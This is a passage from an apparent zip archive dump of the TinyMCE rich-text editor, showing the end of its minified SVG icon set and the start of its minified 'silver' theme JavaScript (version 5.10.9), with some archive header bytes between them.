6c0-.4.1-.8.4-1 .3-.4.7-.5 1.1-.5.4 0 .8.1 1 .4.4.3.5.7.5 1.1 0 .4-.1.8-.4 1-.3.4-.7.5-1.1.5-.4 0-.8-.1-1-.4-.4-.3-.5-.7-.5-1.1zm0 6c0-.4.1-.8.4-1 .3-.4.7-.5 1.1-.5.4 0 .8.1 1 .4.4.3.5.7.5 1.1 0 .4-.1.8-.4 1-.3.4-.7.5-1.1.5-.4 0-.8-.1-1-.4-.4-.3-.5-.7-.5-1.1zm0 6c0-.4.1-.8.4-1 .3-.4.7-.5 1.1-.5.4 0 .8.1 1 .4.4.3.5.7.5 1.1 0 .4-.1.8-.4 1-.3.4-.7.5-1.1.5-.4 0-.8-.1-1-.4-.4-.3-.5-.7-.5-1.1z" fill-rule="evenodd"/></svg>',unselected:'<svg width="24" height="24"><path fill-rule="nonzero" d="M6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6c0-1.1.9-2 2-2zm0 1a1 1 0 00-1 1v12c0 .6.4 1 1 1h12c.6 0 1-.4 1-1V6c0-.6-.4-1-1-1H6z"/></svg>',upload:'<svg width="24" height="24"><path d="M18 19v-2a1 1 0 012 0v3c0 .6-.4 1-1 1H5a1 1 0 01-1-1v-3a1 1 0 012 0v2h12zM11 6.4L8.7 8.7a1 1 0 01-1.4-1.4l4-4a1 1 0 011.4 0l4 4a1 1 0 11-1.4 1.4L13 6.4V16a1 1 0 01-2 0V6.4z" fill-rule="nonzero"/></svg>',user:'<svg width="24" height="24"><path d="M12 24a12 12 0 110-24 12 12 0 010 24zm-8.7-5.3a11 11 0 0017.4 0C19.4 16.3 14.6 15 12 15c-2.6 0-7.4 1.3-8.7 3.7zM12 13c2.2 0 4-2 4-4.5S14.2 4 12 4 8 6 8 8.5 9.8 13 12 13z" fill-rule="nonzero"/></svg>',"vertical-align":'<svg width="24" height="24"><g fill-rule="nonzero"><rect width="18" height="2" x="3" y="11" rx="1"/><path d="M12 2c.6 0 1 .4 1 1v4l2-1.3a1 1 0 011.2 1.5l-.1.1-4.1 3-4-3a1 1 0 011-1.7l2 1.5V3c0-.6.4-1 1-1zm0 11.8l4 2.9a1 1 0 01-1 1.7l-2-1.5V21c0 .5-.4 1-.9 1H12a1 1 0 01-1-1v-4l-2 1.3a1 1 0 01-1.2-.1l-.1-.1a1 1 0 01.1-1.3l.1-.1 4.1-3z"/></g></svg>',visualblocks:'<svg width="24" height="24"><path d="M9 19v2H7v-2h2zm-4 0v2a2 2 0 01-2-2h2zm8 0v2h-2v-2h2zm8 0a2 2 0 01-2 2v-2h2zm-4 0v2h-2v-2h2zM15 7a1 1 0 010 2v7a1 1 0 01-2 0V9h-1v7a1 1 0 01-2 0v-4a2.5 2.5 0 01-.2-5H15zM5 15v2H3v-2h2zm16 0v2h-2v-2h2zM5 11v2H3v-2h2zm16 0v2h-2v-2h2zM5 7v2H3V7h2zm16 0v2h-2V7h2zM5 3v2H3c0-1.1.9-2 2-2zm8 0v2h-2V3h2zm6 0a2 2 0 012 2h-2V3zM9 3v2H7V3h2zm8 0v2h-2V3h2z" fill-rule="evenodd"/></svg>',visualchars:'<svg width="24" height="24"><path d="M10 5h7a1 1 0 010 2h-1v11a1 1 0 01-2 0V7h-2v11a1 1 0 01-2 0v-6c-.5 0-1 0-1.4-.3A3.4 3.4 0 016.8 10a3.3 3.3 0 010-2.8 3.4 3.4 0 011.8-1.8L10 5z" fill-rule="evenodd"/></svg>',warning:'<svg width="24" height="24"><path d="M19.8 18.3c.2.5.3.9 0 1.2-.1.3-.5.5-1 .5H5.2c-.5 0-.9-.2-1-.5-.3-.3-.2-.7 0-1.2L11 4.7l.5-.5.5-.2c.2 0 .3 0 .5.2.2 0 .3.3.5.5l6.8 13.6zM12 18c.3 0 .5-.1.7-.3.2-.2.3-.4.3-.7a1 1 0 00-.3-.7 1 1 0 00-.7-.3 1 1 0 00-.7.3 1 1 0 00-.3.7c0 .3.1.5.3.7.2.2.4.3.7.3zm.7-3l.3-4a1 1 0 00-.3-.7 1 1 0 00-.7-.3 1 1 0 00-.7.3 1 1 0 00-.3.7l.3 4h1.4z" fill-rule="evenodd"/></svg>',"zoom-in":'<svg width="24" height="24"><path d="M16 17.3a8 8 0 111.4-1.4l4.3 4.4a1 1 0 01-1.4 1.4l-4.4-4.3zm-5-.3a6 6 0 100-12 6 6 0 000 12zm-1-9a1 1 0 012 0v6a1 1 0 01-2 0V8zm-2 4a1 1 0 010-2h6a1 1 0 010 2H8z" fill-rule="nonzero"/></svg>',"zoom-out":'<svg width="24" height="24"><path d="M16 17.3a8 8 0 111.4-1.4l4.3 4.4a1 1 0 01-1.4 1.4l-4.4-4.3zm-5-.3a6 6 0 100-12 6 6 0 000 12zm-3-5a1 1 0 010-2h6a1 1 0 010 2H8z" fill-rule="nonzero"/></svg>'}});PK
h�\j�_,�v�v-program/js/tinymce/themes/silver/theme.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function t(o){return function(t){return n=typeof(e=t),(null===e?"null":"object"==n&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":n)===o;var e,n}}function e(e){return function(t){return typeof t===e}}function n(e){return function(t){return e===t}}function g(t){return null==t}function f(t,e){if(c(t)){for(var n=0,o=t.length;n<o;++n)if(!e(t[n]))return;return 1}}function st(){}function r(n,o){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return n(o.apply(null,t))}}function rt(t){return function(){return t}}function h(t){return t}function v(t,e){return t===e}var y=t("string"),x=t("object"),c=t("array"),b=n(null),w=e("boolean"),E=n(void 0),k=function(t){return!g(t)},S=e("function"),u=e("number");function C(o){for(var r=[],t=1;t<arguments.length;t++)r[t-1]=arguments[t];return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var n=r.concat(t);return o.apply(null,n)}}function O(e){return function(t){return!e(t)}}function _(t){return function(){throw new Error(t)}}var T=rt(!1),D=rt(!0),o=tinymce.util.Tools.resolve("tinymce.ThemeManager"),lt=function(){return(lt=Object.assign||function(t){for(var e,n=1,o=arguments.length;n<o;n++)for(var r in e=arguments[n])Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t}).apply(this,arguments)};function A(t,e){var n={};for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&e.indexOf(r)<0&&(n[r]=t[r]);if(null!=t&&"function"==typeof Object.getOwnPropertySymbols)for(var o=0,r=Object.getOwnPropertySymbols(t);o<r.length;o++)e.indexOf(r[o])<0&&Object.prototype.propertyIsEnumerable.call(t,r[o])&&(n[r[o]]=t[r[o]]);return n}function V(t,e,n){if(n||2===arguments.length)for(var o,r=0,i=e.length;r<i;r++)!o&&r in e||((o=o||Array.prototype.slice.call(e,0,r))[r]=e[r]);return t.concat(o||Array.prototype.slice.call(e))}function i(){return a}var a={fold:function(t,e){return t()},isSome:T,isNone:D,getOr:h,getOrThunk:s,getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:rt(null),getOrUndefined:rt(void 0),or:h,orThunk:s,map:i,each:st,bind:i,exists:T,forall:D,filter:function(){return a},toArray:function(){return[]},toString:rt("none()")};function s(t){return t()}function l(t,e){return yt.call(t,e)}function d(t,e){for(var n=0,o=t.length;n<o;n++)if(e(t[n],n))return!0;return!1}function m(t,e){for(var n=[],o=0;o<t;o++)n.push(e(o));return n}function p(t,e){for(var n=[],o=0;o<t.length;o+=e){var r=bt.call(t,o,o+e);n.push(r)}return n}function B(t,e){for(var n=t.length,o=new Array(n),r=0;r<n;r++){var i=t[r];o[r]=e(i,r)}return o}function M(t,e){for(var n=[],o=[],r=0,i=t.length;r<i;r++){var u=t[r];(e(u,r)?n:o).push(u)}return{pass:n,fail:o}}function F(t,e){for(var n=[],o=0,r=t.length;o<r;o++){var i=t[o];e(i,o)&&n.push(i)}return n}function I(t,o,r){return function(t){for(var e,n=t.length-1;0<=n;n--)e=t[n],r=o(r,e,n)}(t),r}function R(t,n,o){return St(t,function(t,e){o=n(o,t,e)}),o}function N(t,e){return function(t,e,n){for(var o=0,r=t.length;o<r;o++){var i=t[o];if(e(i,o))return vt.some(i);if(n(i,o))break}return vt.none()}(t,e,T)}function P(t,e){for(var n=0,o=t.length;n<o;n++)if(e(t[n],n))return vt.some(n);return vt.none()}function ft(t){for(var e=[],n=0,o=t.length;n<o;++n){if(!c(t[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+t);xt.apply(e,t[n])}return e}function H(t,e){return ft(B(t,e))}function L(t,e){for(var n=0,o=t.length;n<o;++n)if(!0!==e(t[n],n))return!1;return!0}function z(t){var e=bt.call(t,0);return e.reverse(),e}function U(t,e){return F(t,function(t){return!wt(e,t)})}function j(t,e){for(var n={},o=0,r=t.length;o<r;o++){var i=t[o];n[String(i)]=e(i,o)}return n}function W(t){return[t]}function G(t,e){var n=bt.call(t,0);return n.sort(e),n}function X(t,e){return 0<=e&&e<t.length?vt.some(t[e]):vt.none()}function Y(t){return X(t,0)}function q(t){return X(t,t.length-1)}function K(t,e){for(var n=0;n<t.length;n++){var o=e(t[n],n);if(o.isSome())return o}return vt.none()}function J(t,e){for(var n=Ct(t),o=0,r=n.length;o<r;o++){var i=n[o];e(t[i],i)}}function dt(t,n){return _t(t,function(t,e){return{k:e,v:n(t,e)}})}function $(t,n){var o=[];return J(t,function(t,e){o.push(n(t,e))}),o}function Q(t,e){for(var n=Ct(t),o=0,r=n.length;o<r;o++){var i=n[o],u=t[i];if(e(u,i,t))return vt.some(u)}return vt.none()}function Z(t){return $(t,h)}function tt(t,e){return Tt(t,e)?vt.from(t[e]):vt.none()}function et(t,e){return Tt(t,e)&&void 0!==t[e]&&null!==t[e]}function mt(t,e,n){return void 0===n&&(n=v),t.exists(function(t){return n(t,e)})}function nt(t){for(var e=[],n=function(t){e.push(t)},o=0;o<t.length;o++)t[o].each(n);return e}function ot(t,e){return t?vt.some(e):vt.none()}function it(t,e,n){return""===e||t.length>=e.length&&t.substr(n,n+e.length)===e}function ut(t,e){return-1!==t.indexOf(e)}function at(t){return 0<t.length}function ct(t){return void 0!==t.style&&S(t.style.getPropertyValue)}function gt(t){if(null==t)throw new Error("Node cannot be null or undefined");return{dom:t}}var pt,ht=function(n){function t(){return r}function e(t){return t(n)}var o=rt(n),r={fold:function(t,e){return e(n)},isSome:D,isNone:T,getOr:o,getOrThunk:o,getOrDie:o,getOrNull:o,getOrUndefined:o,or:t,orThunk:t,map:function(t){return ht(t(n))},each:function(t){t(n)},bind:e,exists:e,forall:e,filter:function(t){return t(n)?r:a},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return r},vt={some:ht,none:i,from:function(t){return null==t?a:ht(t)}},bt=Array.prototype.slice,yt=Array.prototype.indexOf,xt=Array.prototype.push,wt=function(t,e){return-1<l(t,e)},St=function(t,e){for(var n=0,o=t.length;n<o;n++)e(t[n],n)},kt=S(Array.from)?Array.from:function(t){return bt.call(t)},Ct=Object.keys,Ot=Object.hasOwnProperty,_t=function(t,o){var r={};return J(t,function(t,e){var n=o(t,e);r[n.k]=n.v}),r},Tt=function(t,e){return Ot.call(t,e)},Et=function(t,e,n){return t.isSome()&&e.isSome()?vt.some(n(t.getOrDie(),e.getOrDie())):vt.none()},Dt=function(t,e){return it(t,e,0)},At=function(t,e){return it(t,e,t.length-e.length)},Bt=(pt=/^\s+|\s+$/g,function(t){return t.replace(pt,"")}),Mt={fromHtml:function(t,e){var n=(e||document).createElement("div");if(n.innerHTML=t,!n.hasChildNodes()||1<n.childNodes.length)throw console.error("HTML does not have a single root node",t),new Error("HTML must have a single root node");return gt(n.childNodes[0])},fromTag:function(t,e){var n=(e||document).createElement(t);return gt(n)},fromText:function(t,e){var n=(e||document).createTextNode(t);return gt(n)},fromDom:gt,fromPoint:function(t,e,n){return vt.from(t.dom.elementFromPoint(e,n)).map(gt)}};function Ft(t){return t.dom.nodeName.toLowerCase()}function It(e){return function(t){return t.dom.nodeType===e}}function Rt(n){var o,r=!1;return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return r||(r=!0,o=n.apply(null,t)),o}}function Nt(t,e){var n=String(e).toLowerCase();return N(t,function(t){return t.search(n)})}function Pt(e){return function(t){return ut(t,e)}}function Vt(t){return window.matchMedia(t).matches}function Ht(t,e){var n=t.dom;if(1!==n.nodeType)return!1;var o=n;if(void 0!==o.matches)return o.matches(e);if(void 0!==o.msMatchesSelector)return o.msMatchesSelector(e);if(void 0!==o.webkitMatchesSelector)return o.webkitMatchesSelector(e);if(void 0!==o.mozMatchesSelector)return o.mozMatchesSelector(e);throw new Error("Browser lacks native selectors")}function Lt(t){return 1!==t.nodeType&&9!==t.nodeType&&11!==t.nodeType||0===t.childElementCount}function zt(t,e){return t.dom===e.dom}function Ut(t,e){return ln().browser.isIE()?(n=t.dom,o=e.dom,r=Node.DOCUMENT_POSITION_CONTAINED_BY,0!=(n.compareDocumentPosition(o)&r)):(i=t.dom)!==(u=e.dom)&&i.contains(u);var n,o,r,i,u}function jt(t){return Mt.fromDom(t.dom.ownerDocument)}function Wt(t){return Ye(t)?t:jt(t)}function Gt(t){return Mt.fromDom(Wt(t).dom.documentElement)}function Xt(t){return Mt.fromDom(Wt(t).dom.defaultView)}function Yt(t){return vt.from(t.dom.parentNode).map(Mt.fromDom)}function qt(t){return vt.from(t.dom.offsetParent).map(Mt.fromDom)}function Kt(t){return B(t.dom.childNodes,Mt.fromDom)}function Jt(t,e){var n=t.dom.childNodes;return vt.from(n[e]).map(Mt.fromDom)}function $t(t,e){return{element:t,offset:e}}function Qt(t,e){var n=Kt(t);return 0<n.length&&e<n.length?$t(n[e],0):$t(t,e)}function Zt(t){return qe(t)&&k(t.dom.host)}function te(t){return Zt(t)?t:Mt.fromDom(Wt(t).dom.body)}function ee(t){return Mt.fromDom(t.dom.host)}function ne(t,e,n){if(!(y(n)||w(n)||u(n)))throw console.error("Invalid call to Attribute.set. Key ",e,":: Value ",n,":: Element ",t),new Error("Attribute value was not simple");t.setAttribute(e,n+"")}function oe(t,e,n){ne(t.dom,e,n)}function re(t,e){var n=t.dom;J(e,function(t,e){ne(n,e,t)})}function ie(t,e){var n=t.dom.getAttribute(e);return null===n?void 0:n}function ue(t,e){return vt.from(ie(t,e))}function ae(t,e){var n=t.dom;return!(!n||!n.hasAttribute)&&n.hasAttribute(e)}function ce(t,e){t.dom.removeAttribute(e)}function se(t,e,n){if(!y(n))throw console.error("Invalid call to CSS.set. Property ",e,":: Value ",n,":: Element ",t),new Error("CSS value must be a string: "+n);ct(t)&&t.style.setProperty(e,n)}function le(t,e){ct(t)&&t.style.removeProperty(e)}function fe(t,e,n){se(t.dom,e,n)}function de(t,e){var n=t.dom;J(e,function(t,e){se(n,e,t)})}function me(t,e){var n=t.dom;J(e,function(t,e){t.fold(function(){le(n,e)},function(t){se(n,e,t)})})}function ge(t,e){var n=t.dom,o=window.getComputedStyle(n).getPropertyValue(e);return""!==o||vn(t)?o:xn(n,e)}function pe(t,e){var n=t.dom,o=xn(n,e);return vt.from(o).filter(function(t){return 0<t.length})}function he(t,e,n){var o=Mt.fromTag(t);return fe(o,e,n),pe(o,e).isSome()}function ve(t,e){le(t.dom,e),mt(ue(t,"style").map(Bt),"")&&ce(t,"style")}function be(t){return t.dom.offsetWidth}function ye(o,r){function t(t){var e=r(t);if(e<=0||null===e){var n=ge(t,o);return parseFloat(n)||0}return e}function i(r,t){return R(t,function(t,e){var n=ge(r,e),o=void 0===n?0:parseInt(n,10);return isNaN(o)?t:t+o},0)}return{set:function(t,e){if(!u(e)&&!e.match(/^[0-9]+$/))throw new Error(o+".set accepts only positive integer values. Value was "+e);var n=t.dom;ct(n)&&(n.style[o]=e+"px")},get:t,getOuter:t,aggregate:i,max:function(t,e,n){var o=i(t,n);return o<e?e-o:0}}}function xe(t){return wn.get(t)}function we(t){return wn.getOuter(t)}function Se(t,e){return void 0!==t?t:void 0!==e?e:0}function ke(t){var e=t.dom.ownerDocument,n=e.body,o=e.defaultView,r=e.documentElement;if(n===t.dom)return kn(n.offsetLeft,n.offsetTop);var i=Se(null==o?void 0:o.pageYOffset,r.scrollTop),u=Se(null==o?void 0:o.pageXOffset,r.scrollLeft),a=Se(r.clientTop,n.clientTop),c=Se(r.clientLeft,n.clientLeft);return Cn(t).translate(u-c,i-a)}function Ce(t){return On.get(t)}function Oe(t){return On.getOuter(t)}function _e(t){function e(){return t.stopPropagation()}function n(){return t.preventDefault()}var o=r(n,e);return{target:Mt.fromDom(function(t){if(mn()&&k(t.target)){var e=Mt.fromDom(t.target);if(Ge(e)&&hn(e)&&t.composed&&t.composedPath){var n=t.composedPath();if(n)return Y(n)}}return vt.from(t.target)}(t).getOr(t.target)),x:t.clientX,y:t.clientY,stop:e,prevent:n,kill:o,raw:t}}function Te(t,e,n,o,r){var i,u,a=(i=n,u=o,function(t){i(t)&&u(_e(t))});return t.dom.addEventListener(e,a,r),{unbind:C(_n,t,e,a,r)}}function Ee(e,n){Yt(e).each(function(t){t.dom.insertBefore(n.dom,e.dom)})}function De(t,e){vt.from(t.dom.nextSibling).map(Mt.fromDom).fold(function(){Yt(t).each(function(t){Tn(t,e)})},function(t){Ee(t,e)})}function Ae(e,n){Jt(e,0).fold(function(){Tn(e,n)},function(t){e.dom.insertBefore(n.dom,t.dom)})}function Be(e,t){St(t,function(t){Tn(e,t)})}function Me(t){t.dom.textContent="",St(Kt(t),function(t){En(t)})}function Fe(t){var e,n=Kt(t);0<n.length&&(e=t,St(n,function(t){Ee(e,t)})),En(t)}function Ie(t){var e=void 0!==t?t.dom:document,n=e.body.scrollLeft||e.documentElement.scrollLeft,o=e.body.scrollTop||e.documentElement.scrollTop;return kn(n,o)}function Re(t,e,n){var o=(void 0!==n?n.dom:document).defaultView;o&&o.scrollTo(t,e)}function Ne(t,e,n,o){return{x:t,y:e,width:n,height:o,right:t+n,bottom:e+o}}function Pe(t){var o=void 0===t?window:t,e=o.document,r=Ie(Mt.fromDom(e)),n=void 0===o?window:o;return(ln().browser.isFirefox()?vt.none():vt.from(n.visualViewport)).fold(function(){var t=o.document.documentElement,e=t.clientWidth,n=t.clientHeight;return Ne(r.left,r.top,e,n)},function(t){return Ne(Math.max(t.pageLeft,r.left),Math.max(t.pageTop,r.top),t.width,t.height)})}function Ve(o){var t,r=Ie(Mt.fromDom(document)),e=(t=An).owner(o),n=Dn(t,e);return vt.some(n).fold(C(ke,o),function(t){var e=Cn(o),n=I(t,function(t,e){var n=Cn(e);return{left:t.left+n.left,top:t.top+n.top}},{left:0,top:0});return kn(n.left+e.left+r.left,n.top+e.top+r.top)})}function He(t){var e=Ve(t),n=Oe(t),o=we(t);return Bn(e.left,e.top,n,o)}"undefined"!=typeof window||Function("return this;")();function Le(){return Ke(0,0)}function ze(t){function e(t){return function(){return n===t}}var n=t.current,o=t.version;return{current:n,version:o,isEdge:e("Edge"),isChrome:e("Chrome"),isIE:e("IE"),isOpera:e("Opera"),isFirefox:e(Ze),isSafari:e("Safari")}}function Ue(t){function e(t){return function(){return n===t}}var n=t.current,o=t.version;return{current:n,version:o,isWindows:e(nn),isiOS:e("iOS"),isAndroid:e(on),isOSX:e("OSX"),isLinux:e("Linux"),isSolaris:e(rn),isFreeBSD:e(un),isChromeOS:e(an)}}var je,We,Ge=It(1),Xe=It(3),Ye=It(9),qe=It(11),Ke=function(t,e){return{major:t,minor:e}},Je={nu:Ke,detect:function(t,e){var n,o,r=String(e).toLowerCase();return 0===t.length?Le():(o=function(t,e){for(var n=0;n<t.length;n++){var o=t[n];if(o.test(e))return o}}(t,n=r))?Ke(i(1),i(2)):{major:0,minor:0};function i(t){return Number(n.replace(o,"$"+t))}},unknown:Le},$e=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,Qe={browsers:rt([{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(t){return ut(t,"edge/")&&ut(t,"chrome")&&ut(t,"safari")&&ut(t,"applewebkit")}},{name:"Chrome",brand:"Chromium",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,$e],search:function(t){return ut(t,"chrome")&&!ut(t,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(t){return ut(t,"msie")||ut(t,"trident")}},{name:"Opera",versionRegexes:[$e,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:Pt("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:Pt("firefox")},{name:"Safari",versionRegexes:[$e,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(t){return(ut(t,"safari")||ut(t,"mobile/"))&&ut(t,"applewebkit")}}]),oses:rt([{name:"Windows",search:Pt("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(t){return ut(t,"iphone")||ut(t,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:Pt("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:Pt("mac os x"),versionRegexes:[/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:Pt("linux"),versionRegexes:[]},{name:"Solaris",search:Pt("sunos"),versionRegexes:[]},{name:"FreeBSD",search:Pt("freebsd"),versionRegexes:[]},{name:"ChromeOS",search:Pt("cros"),versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/]}])},Ze="Firefox",tn=function(){return ze({current:void 0,version:Je.unknown()})},en=ze,nn=(rt("Edge"),rt("Chrome"),rt("IE"),rt("Opera"),rt(Ze),rt("Safari"),"Windows"),on="Android",rn="Solaris",un="FreeBSD",an="ChromeOS",cn=function(){return Ue({current:void 0,version:Je.unknown()})},sn=Ue,ln=(rt(nn),rt("iOS"),rt(on),rt("Linux"),rt("OSX"),rt(rn),rt(un),rt(an),Rt(function(){return t=navigator.userAgent,e=vt.from(navigator.userAgentData),n=Vt,p=Qe.browsers(),h=Qe.oses(),v=e.bind(function(t){return o=p,K(t.brands,function(e){var n=e.brand.toLowerCase();return N(o,function(t){var e;return n===(null===(e=t.brand)||void 0===e?void 0:e.toLowerCase())}).map(function(t){return{current:t.name,version:Je.nu(parseInt(e.version,10),0)}})});var o}).orThunk(function(){return Nt(p,n=t).map(function(t){var e=Je.detect(t.versionRegexes,n);return{current:t.name,version:e}});var n}).fold(tn,en),b=Nt(h,o=t).map(function(t){var e=Je.detect(t.versionRegexes,o);return{current:t.name,version:e}}).fold(cn,sn),{browser:v,os:b,deviceType:(i=v,u=t,a=n,c=(r=b).isiOS()&&!0===/ipad/i.test(u),s=r.isiOS()&&!c,f=(l=r.isiOS()||r.isAndroid())||a("(pointer:coarse)"),d=c||!s&&l&&a("(min-device-width:768px)"),m=s||l&&!d,g=i.isSafari()&&r.isiOS()&&!1===/safari/i.test(u),{isiPad:rt(c),isiPhone:rt(s),isTablet:rt(d),isPhone:rt(m),isTouch:rt(f),isAndroid:r.isAndroid,isiOS:r.isiOS,isWebView:rt(g),isDesktop:rt(!m&&!d&&!g)})};var t,e,n,o,r,i,u,a,c,s,l,f,d,m,g,p,h,v,b})),fn=Yt,dn=S(Element.prototype.attachShadow)&&S(Node.prototype.getRootNode),mn=rt(dn),gn=dn?function(t){return Mt.fromDom(t.dom.getRootNode())}:Wt,pn=function(t){var e=gn(t);return Zt(e)?vt.some(e):vt.none()},hn=function(t){return k(t.dom.shadowRoot)},vn=function(t){var e=Xe(t)?t.dom.parentNode:t.dom;if(null==e||null===e.ownerDocument)return!1;var n,o,r=e.ownerDocument;return pn(Mt.fromDom(e)).fold(function(){return r.body.contains(e)},(n=vn,o=ee,function(t){return n(o(t))}))},bn=function(){return yn(Mt.fromDom(document))},yn=function(t){var e=t.dom.body;if(null==e)throw new Error("Body is not available yet");return Mt.fromDom(e)},xn=function(t,e){return ct(t)?t.style.getPropertyValue(e):""},wn=ye("height",function(t){var e=t.dom;return vn(t)?e.getBoundingClientRect().height:e.offsetHeight}),Sn=function(n,o){return{left:n,top:o,translate:function(t,e){return Sn(n+t,o+e)}}},kn=Sn,Cn=function(t){var e,n=t.dom,o=n.ownerDocument.body;return o===n?kn(o.offsetLeft,o.offsetTop):vn(t)?(e=n.getBoundingClientRect(),kn(e.left,e.top)):kn(0,0)},On=ye("width",function(t){return t.dom.offsetWidth}),_n=function(t,e,n,o){t.dom.removeEventListener(e,n,o)},Tn=function(t,e){t.dom.appendChild(e.dom)},En=function(t){var e=t.dom;null!==e.parentNode&&e.parentNode.removeChild(e)},Dn=function(o,t){return o.view(t).fold(rt([]),function(t){var e=o.owner(t),n=Dn(o,e);return[t].concat(n)})},An=Object.freeze({__proto__:null,view:function(t){var e;return(t.dom===document?vt.none():vt.from(null===(e=t.dom.defaultView)||void 0===e?void 0:e.frameElement)).map(Mt.fromDom)},owner:jt}),Bn=function(t,e,n,o){return{x:t,y:e,width:n,height:o,right:t+n,bottom:e+o}},Mn=function(t){var e=ke(t),n=Oe(t),o=we(t);return Bn(e.left,e.top,n,o)},Fn=function(){return Pe(window)},In=function(n){return{isValue:D,isError:T,getOr:rt(n),getOrThunk:rt(n),getOrDie:rt(n),or:function(t){return In(n)},orThunk:function(t){return In(n)},fold:function(t,e){return e(n)},map:function(t){return In(t(n))},mapError:function(t){return In(n)},each:function(t){t(n)},bind:function(t){return t(n)},exists:function(t){return t(n)},forall:function(t){return t(n)},toOptional:function(){return vt.some(n)}}},Rn=function(n){return{isValue:T,isError:D,getOr:h,getOrThunk:function(t){return t()},getOrDie:function(){return _(String(n))()},or:h,orThunk:function(t){return t()},fold:function(t,e){return t(n)},map:function(t){return Rn(n)},mapError:function(t){return Rn(t(n))},each:st,bind:function(t){return Rn(n)},exists:T,forall:D,toOptional:vt.none}},Nn={value:In,error:Rn,fromOption:function(t,e){return t.fold(function(){return Rn(e)},In)}};function Pn(t,e,n){return t.stype===je.Error?e(t.serror):n(t.svalue)}function Vn(t){return{stype:je.Value,svalue:t}}function Hn(t){return{stype:je.Error,serror:t}}function Ln(t,e,n,o){return{tag:"field",key:t,newKey:e,presence:n,prop:o}}function zn(t,e,n){switch(t.tag){case"field":return e(t.key,t.newKey,t.presence,t.prop);case"custom":return n(t.newKey,t.instantiator)}}function Un(u){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];if(0===t.length)throw new Error("Can't merge zero objects");for(var n={},o=0;o<t.length;o++){var r,i=t[o];for(r in i)Tt(i,r)&&(n[r]=u(n[r],i[r]))}return n}}function jn(){return{tag:"required",process:{}}}function Wn(t){return{tag:"defaultedThunk",process:t}}function Gn(t){return Wn(rt(t))}function Xn(){return{tag:"option",process:{}}}function Yn(t){return{tag:"mergeWithThunk",process:t}}function qn(t){return x(t)&&100<Ct(t).length?" removed due to size":JSON.stringify(t,null,2)}function Kn(t,e){return zo([{path:t,getErrorInfo:e}])}function Jn(n){return{extract:function(e,t){return jo(n(t),function(t){return Kn(e,rt(t))})},toString:rt("val")}}function $n(t,e,n,o){return o(tt(t,e).getOrThunk(function(){return n(t)}))}function Qn(e,n,o,r,i){function u(t){return i.extract(n.concat([r]),t)}function t(t){return t.fold(function(){return Lo(vt.none())},function(t){var e=i.extract(n.concat([r]),t);return Wo(e,vt.some)})}var a,c,s,l,f,d;switch(e.tag){case"required":return s=n,d=u,tt(l=o,f=r).fold(function(){return t=f,e=l,Kn(s,function(){return'Could not find valid *required* value for "'+t+'" in '+qn(e)});var t,e},d);case"defaultedThunk":return $n(o,r,e.process,u);case"option":return t(tt(o,r));case"defaultedOptionThunk":return c=e.process,t(tt(a=o,r).map(function(t){return!0===t?c(a):t}));case"mergeWithThunk":return $n(o,r,rt({}),function(t){return u(Yo(e.process(o),t))})}}function Zn(n){return{extract:function(t,e){return n().extract(t,e)},toString:function(){return n().toString()}}}function to(t){var s=$o(t),l=I(t,function(n,t){return zn(t,function(t){var e;return Yo(n,((e={})[t]=!0,e))},rt(n))},{});return{extract:function(t,e){var n,o,r,i,u,a,c=F(w(e)?[]:Ct((r=k,i=o={},u=function(t,e){i[e]=t},a=st,J(e,function(t,e){(r(t,e)?u:a)(t,e)}),o)),function(t){return!et(l,t)});return 0===c.length?s.extract(t,e):(n=c,Kn(t,function(){return"There are unsupported fields: ["+n.join(", ")+"] specified"}))},toString:s.toString}}function eo(o){return{extract:function(n,t){var e=B(t,function(t,e){return o.extract(n.concat(["["+e+"]"]),t)});return Ko(e)},toString:function(){return"array("+o.toString()+")"}}}function no(u){return{extract:function(t,e){for(var n=[],o=0,r=u;o<r.length;o++){var i=r[o].extract(t,e);if(i.stype===je.Value)return i;n.push(i)}return Ko(n)},toString:function(){return"oneOf("+B(u,function(t){return t.toString()}).join(", ")+")"}}}function oo(n,o){return Jn(function(t){var e=typeof t;return n(t)?Lo(t):zo("Expected type: "+o+" but got: "+e)})}function ro(e,a){return{extract:function(i,u){return tt(u,e).fold(function(){return t=e,Kn(i,function(){return'Choice schema did not contain choice key: "'+t+'"'});var t},function(t){return n=i,e=u,tt(o=a,r=t).fold(function(){return 